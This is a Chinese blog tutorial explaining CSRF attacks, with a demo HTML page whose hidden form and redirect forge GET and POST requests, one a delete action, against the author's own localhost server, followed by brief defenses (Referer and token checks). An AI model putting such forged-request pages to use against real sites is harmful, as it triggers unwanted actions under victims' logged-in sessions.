前端crsf攻擊之get,post方法

前幾天在考慮先後端認證方式時,想到了crsf攻擊,由於以前都是隻瞭解大概原理並無真正實現過,因此想寫一個demo,實現一下。javascript

CSRF概念

CSRF跨站點請求僞造(Cross—Site Request Forgery),跟XSS攻擊同樣,存在巨大的危害性,你能夠這樣來理解:
攻擊者盜用了你的身份,以你的名義發送惡意請求,對服務器來講這個請求是徹底合法的,可是卻完成了攻擊者所指望的一個操做。
複製代碼

csrf原理

  1. 用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登陸網站A;
  2. 在用戶信息經過驗證後,網站A產生Cookie信息並返回給瀏覽器,此時用戶登陸網站A成功,能夠正常發送請求到網站A
  3. 用戶未退出網站A以前,在同一瀏覽器中,打開一個TAB頁訪問網站B;
  4. 網站B接收到用戶請求後,返回一些攻擊性代碼,併發出一個請求要求訪問第三方站點A;
  5. 瀏覽器在接收到這些攻擊性代碼後,根據網站B的請求,在用戶不知情的狀況下攜帶Cookie信息,向網站A發出請求。網站A並不知道該請求實際上是由B發起的,因此會根據用戶C的Cookie信息以C的權限處理該請求,致使來自網站B的惡意代碼被執行。

實現

有CSRF安全漏洞的安全網站

假設用戶登陸成功在瀏覽器留下認證的cookies,且執行了一些操做,如圖:html

get請求

post請求

用get,post方式進行csrf攻擊

代碼
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>

<body>
    <button onclick="btn1()">csrf攻擊get方法</button>
    <button onclick="btn2()">csrf攻擊post方法</button>

    <form action="http://localhost:8080/bb" method="post" id="test">
        <input style="display:none;" type="text" name="user" value="5"><br>
        <input style="display:none;" type="text" name="pass" value="55">
    </form>
    <script> function btn1() { window.location.href = "http://localhost:8080/aa?ID=12345&delete=55" } function btn2() { const f = document.getElementById('test'); f.submit(); } </script>
</body>

</html>
複製代碼

執行結果

get請求

post請求

如此能夠看到攻擊成功,其餘就是瀏覽器請求時自動把cookies帶上,認證經過以後進行意外的操做。java

防範方法

1.驗證referer請求頭:它記錄了該 HTTP 請求的來源地址後端

不知爲何在本地請求中沒有
2.驗證token 每次請求所帶的token服務器對其進行攔截,來判斷是否和法。

有不對的地方歡迎小夥伴指出,一塊兒交流😀

相關文章
相關標籤/搜索